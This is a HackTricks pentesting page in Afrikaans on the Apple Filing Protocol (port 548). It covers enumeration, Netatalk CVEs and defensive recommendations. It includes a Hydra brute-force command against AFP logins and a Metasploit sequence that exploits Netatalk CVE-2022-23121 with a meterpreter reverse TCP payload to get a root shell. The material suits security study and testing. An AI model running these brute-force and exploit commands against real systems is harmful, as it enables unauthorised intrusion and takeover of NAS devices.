548 - Pentesting Apple Filing Protocol (AFP)

Reading time: 5 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

Die Apple Filing Protocol (AFP), voorheen bekend as AppleTalk Filing Protocol, is 'n gespesialiseerde netwerkprotokol ingesluit binne Apple File Service (AFS). Dit is ontwerp om lĂȘerdienste vir macOS en die klassieke Mac OS te bied. AFP val op deur ondersteuning van Unicode-lĂȘernames, POSIX-styl en ACL-toestemmings, hulpbronne-forks, benoemde uitgebreide eienskappe en gesofistikeerde lĂȘer-slotmeganismes.

Alhoewel AFP deur SMB in moderne macOS-uitgawes vervang is (SMB is die verstek sedert OS X 10.9), word dit steeds aangetref in:

  • Erflike macOS / Mac OS 9 omgewings
  • NAS-toestelle (QNAP, Synology, Western Digital, TrueNAS
) wat die oopbron Netatalk daemon inkorporeer
  • Gemengde-OS-netwerke waar Time-Machine-over-AFP steeds geaktiveer is

Verstek TCP Poort: 548 (AFP oor TCP / DSI)

bash
PORT     STATE SERVICE
548/tcp  open  afp

Opname

Vinning van vinnige banier / bediener inligting

bash
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>

# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>

Nuttige AFP NSE skripte:

SkripWat dit doen
afp-lsLys beskikbare AFP volumes en lĂȘers
afp-bruteWagwoord brute-force teen AFP aanmelding
afp-serverinfoDump bediener naam, masjien tipe, AFP weergawe, ondersteunde UAMs, ens.
afp-showmountLys gedeeltes saam met hul ACLs
afp-path-vulnDetecteer (en kan ontgin) gids-deurdring, CVE-2010-0533

Die NSE brute-force skrip kan gekombineer word met Hydra/Medusa as meer beheer benodig word:

bash
hydra -L users.txt -P passwords.txt afp://<IP>

Interacting with shares

macOS

bash
# Finder → Go → "Connect to Server
"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp

Linux (gebruik afpfs-ng ‑ ingepak in die meeste distros)

bash
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>

Sodra dit gemonteer is, onthou dat klassieke Mac hulpbronne-forks as verborge ._* AppleDouble lĂȘers gestoor word – hierdie hou dikwels interessante metadata wat DFIR gereedskap mis.


Algemene Kw vulnerabilities & Exploitatie

Netatalk ongeverifieerde RCE-ketting (2022)

Verskeie NAS verskaffers het Netatalk ≀3.1.12 gestuur. 'n Gebrek aan grensekontrole in parse_entries() laat 'n aanvaller toe om 'n kwaadwillige AppleDouble kop te vervaardig en remote root te verkry voor verifikasie (CVSS 9.8 – CVE-2022-23121). 'n Volledige skrywe deur NCC Group met PoC wat Western-Digital PR4100 exploiteer, is beskikbaar.

Metasploit (>= 6.3) verskaf die module exploit/linux/netatalk/parse_entries wat die payload via DSI WRITE lewer.

bash
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0   # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run

As die teiken 'n geraakte QNAP/Synology firmware draai, lei suksesvolle uitbuiting tot 'n shell as root.

Netatalk OpenSession heap overflow (2018)

Ou Netatalk (3.0.0 - 3.1.11) is kwesbaar vir 'n out-of-bounds skrywe in die DSI OpenSession handler wat nie-geverifieerde kode-uitvoering toelaat (CVE-2018-1160). 'n Gedetailleerde ontleding en PoC is deur Tenable Research gepubliseer.

Ander noemenswaardige probleme

  • CVE-2022-22995 – Symlink herleiding wat lei tot arbitrĂȘre lĂȘer skrywe / RCE wanneer AppleDouble v2 geaktiveer is (3.1.0 - 3.1.17).
  • CVE-2010-0533 – Gids traversering in Apple Mac OS X 10.6 AFP (gedetecteer deur afp-path-vuln.nse).
  • Meerdere geheue-veilige foute is reggestel in Netatalk 4.x (2024) – dit word aanbeveel om op te gradeer eerder as om individuele CVE's te patch.

Verdedigende Aanbevelings

  1. Deaktiveer AFP tensy dit streng nodig is – gebruik eerder SMB3 of NFS.
  2. As AFP moet bly, opgradeer Netatalk na ≄ 3.1.18 of 4.x, of pas verskaffer firmware toe wat die 2022/2023/2024 patches terugbring.
  3. Handhaaf Sterk UAMs (bv. DHX2), deaktiveer duidelike teks en gaslogin.
  4. Beperk TCP 548 tot vertroude subnetwerke en verpak AFP binne 'n VPN wanneer dit van buite blootgestel word.
  5. Periodesk scan met nmap -p 548 --script afp-* in CI/CD om rogue / afgedateerde toestelle te vang.

Brute-Force

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks